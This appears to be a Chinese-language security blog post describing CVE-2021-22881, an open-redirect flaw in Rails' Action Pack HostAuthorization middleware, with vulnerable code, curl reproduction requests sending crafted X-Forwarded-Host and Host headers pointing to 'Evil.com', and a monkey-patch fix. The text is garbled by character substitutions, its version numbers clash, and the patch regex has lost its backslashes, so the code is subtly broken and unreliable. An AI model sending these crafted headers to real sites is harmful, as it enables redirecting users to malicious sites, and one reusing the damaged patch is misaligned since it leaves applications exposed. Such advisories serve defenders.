Action Pack 中的 Host Authorization 中间件容易受到精心设计的 X-Forwarded-Host 值的影响漏洞CVE-2021-22881

破绽描绘

6.1.2.1、6.0.3.5 之前的 Action Pack 中的主机受权中间件存在开放重定向破绽。特制的`Host` 标头与某些“允许的主机”格式相分离,可能会招致 Action Pack 中的主机受权中间件将用户重定向到歹意网站。受影响的应用程序将允许带有前导点的主机。当允许的主机包含前导点时,能够运用特制的“Host”标头重定向到歹意网站。

图片[1]-Action Pack 中的 Host Authorization 中间件容易受到精心设计的 X-Forwarded-Host 值的影响漏洞CVE-2021-22881-孤勇者社区
 


 

影响版本

Rails 6.1.3.1 和 Rails 6.1.3.2
 

影响

黑客能够将受害者重定向到歹意网站。
 


 

破绽剖析

问题出在这个代码https://github.com/rails/rails/blob/6-1-stable/actionpack/lib/action_dispatch/middleware/host_authorization.rb#L115

origin_host = valid_host.match(
  request.get_header("HTTP_HOST").to_s.downcase)
forwarded_host = valid_host.match(
  request.x_forwarded_host.to_s.split(/,s?/).last)

 
forwarded_host在downcase之后短少.to_s,这招致nil分配给forwarded_host,然后招致true以下代码

origin_host && @permissions.allows?(origin_host[:host]) && (forwarded_host.nil? || @permissions.allows?(forwarded_host[:host]))

由于nil?检查forwarded_host

forwarded_host.nil? || @permissions.allows?(forwarded_host[:host])

我给出的示例正在运用localhost,但我也运用具有如下配置的消费环境确认了这一点

Rails.application.config.hosts = %w(.EXAMPLE.com)

 


 

破绽复现

重现步骤 这是CVE-2021-22881和 https://github.com/rails/rails/commit/83a6ac3fee8fd538ce7e0088913ff54f0f9bcb6f

运用如下所示的控制器

class TestsController < ApplicationController
  extend ActiveSupport::Concern

  def index
    redirect_to('/')
  end
end

发送如下所示的恳求时,其中 URL 包含大小写混合字符

curl 'http://localhost:3000/tests' -H 'X-Forwarded-Host: Evil.com'

或全部大写

curl 'http://localhost:3000/tests' -H 'X-Forwarded-Host: EVIL.COM'

预期行为

<div id="container">
  <h2>To allow requests to evil.com, add the following to your environment configuration:</h2>
  <pre>config.hosts &lt;&lt; "Evil.com"</pre>
</div>

实践行为

<html><body>You are being <a href="http://Evil.com/">redirected</a>.</body></html>% 

Host标头攻击

curl -i -H "Host: google.com#sub.tkte.ch" http://localhost:3001/ 

 


 

处理方法

平安风险
当host在中间件中运用特定格式停止受权时HostAuthorization,攻击者能够制造特定的 HTTP Host 标头以强迫 ActionPack 将用户重定向到歹意站点。

受影响的应用程序是那些在主机中具有以句点开头的值的应用程序。例如 :

config.hosts << '.tonsite.fr'

以这种方式配置的应用程序会遭到 HTTP Host 标头的攻击,迫运用户重定向到歹意站点。

运用 Monkey 补丁手动装置补丁
关于受影响但无法更新到包含补丁的 Rails 版本的应用程序,能够在初始化文件中应用猴子补丁:

module ActionDispatch
class HostAuthorization
    private
      def authorized?(request)
        valid_host = /
          A
          (?<host>[a-z0-9.-]+|[[a-f0-9]*:[a-f0-9.:]+])
          (:d+)?
          z
        /x

        origin_host = valid_host.match(
          request.get_header("HTTP_HOST").to_s.downcase)
        forwarded_host = valid_host.match(
          request.x_forwarded_host.to_s.split(/,s?/).last)

        origin_host && @permissions.allows?(origin_host[:host]) && (
          forwarded_host.nil? || @permissions.allows?(forwarded_host[:host]))
      end
  end
end

 

补丁
为了协助无法更新他们的 rails 版本,并且不想运用上一章中描绘的猴子补丁的用户,有 2 个 git-am 格式的补丁。

这些补丁由 Discussion.rubyonrails.org 托管。在将其应用于源代码之前,您应该考证其出处:

6-0-host-authorization-open-redirect.patch
https://discuss.rubyonrails.org/uploads/short-url/8wyh9cp18blD2TsjzCmXqyni9Cf.patch

6-1-host-authorization-open-redirect.patch
https://discuss.rubyonrails.org/uploads/short-url/dHolJIzcr0TPG9f4RlY9mNtBwfS.patch

 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞7赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片